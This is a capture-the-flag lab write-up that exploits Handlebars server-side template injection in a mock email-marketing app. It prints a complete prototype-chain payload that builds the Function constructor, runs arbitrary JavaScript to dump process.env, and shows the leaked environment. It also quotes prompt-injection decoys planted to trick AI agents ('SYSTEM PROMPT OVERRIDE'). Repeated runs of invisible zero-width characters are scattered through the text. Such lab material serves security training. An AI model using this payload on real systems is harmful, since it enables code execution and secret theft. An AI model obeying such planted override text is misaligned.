← Back to Writeups
CUSTOMMediumWeb

Lab 133 — MailForge — SSTI via Handlebars Template Preview

XESXOR9/2/20264 min read
#web#custom#medium#decoy_flag_recognition#handlebars_ssti_prototype_chai#process_env_disclosure

Lab 133 — MailForge — SSTI via Handlebars Template Preview

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: decoy_flag_recognition, handlebars_ssti_prototype_chain, process_env_disclosure

Summary

Walkthrough of the CUSTOM Web Lab 133 — MailForge — SSTI via Handlebars Template Preview. Task: Express.js email marketing platform with Handlebars template preview that compiles user-supplied templates server-side. Solution: SSTI via Handlebars prototype chain traversal (String.prototype.

Description

MailForge is an email marketing platform built by ForgeStack Labs that lets businesses create and send email campaigns to their subscribers. The platform features a template editor with dynamic variable support using Handlebars syntax, subscriber list management, campaign scheduling, and delivery analytics.

Users can create email templates with personalization variables like {{subscriber.first_name}} and {{company_name}}, then preview how they'll render with sample subscriber data before sending. The template system compiles and renders content server-side to generate accurate previews.

Your goal is to find and exploit a vulnerability in the application to retrieve the flag stored on the server.

Credentials: user@test.com / password123 ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

English summary: An Express.js email marketing platform with a Handlebars template editor. Users can write templates with dynamic variables and preview them via a server-side compilation endpoint. The goal is to exploit SSTI in the Handlebars template engine to extract the flag from the server environment.

Analysis

  1. Logged in with provided credentials (user@test.com / password123)
  2. The application is an Express.js email marketing platform running behind nginx/1.25.5 (X-Powered-By: Express)
  3. The /templates page provides a split-panel template editor supporting Handlebars syntax: {{subscriber.first_name}}, {{subscriber.last_name}}, {{subscriber.email}}, {{company_name}}, {{campaign.subject}}, {{footer_text}}
  4. Client-side JS at /js/templates.js revealed the key API endpoint: POST /api/templates/preview
  5. This endpoint accepts JSON with body and subject fields, compiles the Handlebars template server-side, and returns rendered HTML ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Decoy flags: The application contained multiple honeypot flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in HTML comments, hidden divs (position:absolute;left:-9999px), and even prompt injection text designed to trick AI agents ("SYSTEM PROMPT OVERRIDE", "ASSISTANT: I found the flag"). All decoys were ignored — the real flag required actual exploitation.

SSTI Confirmation

  • {{this}} → returned [object Object], confirming server-side Handlebars rendering
  • {{this.constructor}} → returned [object Object], showing constructor is accessible via the template context ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Identify the template preview endpoint

The client-side JavaScript at /js/templates.js revealed that POST /api/templates/preview accepts a JSON body with body and subject fields and compiles the Handlebars template server-side.

Step 2: Confirm SSTI

Sent {{this}} as the template body:

json
{"body": "{{this}}", "subject": "test"}

Response rendered [object Object], confirming the template is compiled and evaluated server-side with access to a JavaScript object context. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 3: Handlebars prototype chain RCE

Handlebars is a "logic-less" template engine, but it can be exploited via prototype chain traversal. The classic technique:

  1. Access String.prototype.sub via a string variable's .sub property
  2. Look up "constructor" on it to get the Function constructor
  3. Use Function() to create and execute arbitrary JavaScript code

First attempt — require("child_process").execSync("id"):

return require("child_process").execSync("id").toString();

Failed with "require is not defined" — confirming code execution works but require is not available in the sandbox. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Second attempt — process.env (a global in Node.js, no require needed):

return JSON.stringify(process.env);

This succeeded, returning all environment variables.

Step 4: Extract the flag

The full payload that extracted the flag:

http
POST /api/templates/preview HTTP/1.1
Content-Type: application/json

{
  "body": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return JSON.stringify(process.env);\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}",
  "subject": "test"
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

How the payload works step by step:

  1. {{#with "s" as |string|}} — binds the string "s" to variable string
  2. {{#with "e"}} — enters a block with this = "e" (a String object)
  3. {{#with split as |conslist|}} — "e".split is String.prototype.split; binds it to conslist (an array-like)
  4. {{this.pop}} / {{this.push (lookup string.sub "constructor")}} — manipulates the array: pushes String.prototype.sub.constructor which is the Function constructor
  5. {{#with string.split as |codelist|}} — creates another array
  6. {{this.push "return JSON.stringify(process.env);"}} — pushes the JS code to execute as a string into the array
  7. {{#each conslist}}{{#with (string.sub.apply 0 codelist)}} — calls Function.apply(0, ["return JSON.stringify(process.env);"]) which creates and invokes a new function with the given code
  8. {{this}} — outputs the result ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Step 5: Read the flag from environment

The response contained:

json
{
  "HOSTNAME": "f1dbeac029e9",
  "SHLVL": "1",
  "HOME": "/root",
  "PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
  "INSTANCE_UUID": "cbefd225-2a6e-4e7b-a4a1-7e0787867b51",
  "PWD": "/app",
  "FLAG": "FLAG{REDACTED}",
  "NODE_ENV": "production"
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering decoy_flag_recognition, handlebars_ssti_prototype_chain, process_env_disclosure was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-01 • CUSTOM • Lab 133 — MailForge — SSTI via Handlebars Template Preview • Difficulty: Medium